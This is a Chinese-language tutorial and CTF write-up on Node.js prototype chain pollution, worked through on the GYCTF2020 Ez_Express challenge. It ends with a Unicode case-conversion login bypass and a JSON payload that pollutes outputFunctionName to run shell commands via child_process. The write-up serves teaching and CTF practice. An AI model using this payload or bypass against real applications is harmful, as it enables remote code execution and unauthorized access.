1、 原型和原型链
JavaScript没有父类和子类这个概念,也没有类和实例的区分,而JavaScript中的继承关系则是靠一种很奇怪的“原型链”模式来实现继承。
1.1JavaScript 对象
var a = {
"name": "HoKong",
"pass": "password"
}
console.log(a['name'])
console.log(a.pass)
console.log(a);
其中访问对象的属性,可以有两种方式:
a.name;
a["name"];
1.2原型的定义
每个对象在JavaScript中都具有一个原型对象。这个原型对象通过对象的内置属性__proto__指向其构造函数的prototype指向的对象。换句话说,每个对象都是由一个构造函数创建的。在JavaScript中,原型是实现继承的基础,JavaScript的继承是基于原型的继承。
如下图所示,在JavaScript中,每个函数都具有一个prototype属性,该属性指向通过调用该构造函数创建的原型对象。此外,在JavaScript中,每个实例对象(包括函数、数组和普通对象)也都具有一个__proto__属性,用于指向其对应的原型对象(隐式原型)。
1.3原型链的搜索
原型链是JavaScript中实现继承的方式,通过递归地继承原型对象的原型来实现。在原型链中,顶端是Object的原型。当需要使用或输出一个变量时,首先会在当前层级中搜索相应的变量。如果该变量在当前层级中不存在,就会向上层级搜索,也就是在其父类中搜索。如果在父类中仍然找不到该变量,就会继续向祖父类搜索,直到最终指向null。如果在整个原型链中仍然没有找到该变量,就会返回undefined。
如下图所示,在JavaScript中,当我们想要访问某个属性时,首先会在实例对象(A)本身内部查找该属性。如果在实例对象中没有找到该属性,就会继续在该对象的原型(a.__proto__,即A.prototype)上查找。我们知道,对象的原型也是一个对象,它也有自己的原型。如果在对象的原型上仍然没有找到目标属性,就会继续在对象的原型的原型(A.prototype.__proto__)上查找,依此类推。这个过程一层一层地在原型上进行查找,就形成了原型链。
2、原型链污染
JavaScript中,可以使用a.b.c或a["b"]["c"]的方式来访问对象的属性。由于对象是无序的,当使用第二种方式访问对象时,只能使用指定的下标进行访问。因此,可以通过a["__proto__"]的方式来访问对象的原型对象。
在一个应用程序中,如果攻击者能够控制并修改对象的原型,就能够影响到所有与该对象同一类、父类或祖先类的对象。这种攻击方式被称为原型链污染。
原型链污染通常发生在对象或数组的键名或属性名可控的情况下,并且发生在赋值语句中。常见的情况包括对象递归合并操作,对象克隆,以及在路径查找属性后修改属性的操作。
如下图例子所示:可以发现一个对象son修改自身的原型的属性的时候会影响到另外一个具有相同原型的对象son1
例题分析:[GYCTF2020]Ez_Express
访问路由/www.zip,可得到源码,接下来对源码进行分析。
源码中用了 merge() 和 clone(),在merge()方法里有对象递归合并操作,可造成原型链污染。
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
res.outputFunctionName=undefined;
但是需要登录admin账号才能用到 clone(),这里又不知其admn账户的密码。先到 /login 路由处分析一下。
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
可以看到注册的用户名不能为 admin,不过有个地方可以注意到:
'user':req.body.userid.toUpperCase(),
这里将user给转为大写了,这里可以考虑到JavaScript 大小写特性来绕过。
可以注册一个 admın,此admın非彼admin,仔细看i部分。
注册admın后成功登录admin用户。接下来可以发送 Payload 进行原型链污染。
{"lua":"test","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}
原文始发于微信公众号(山石网科安全技术研究院):由浅入深理解Nodejs原型链污染漏洞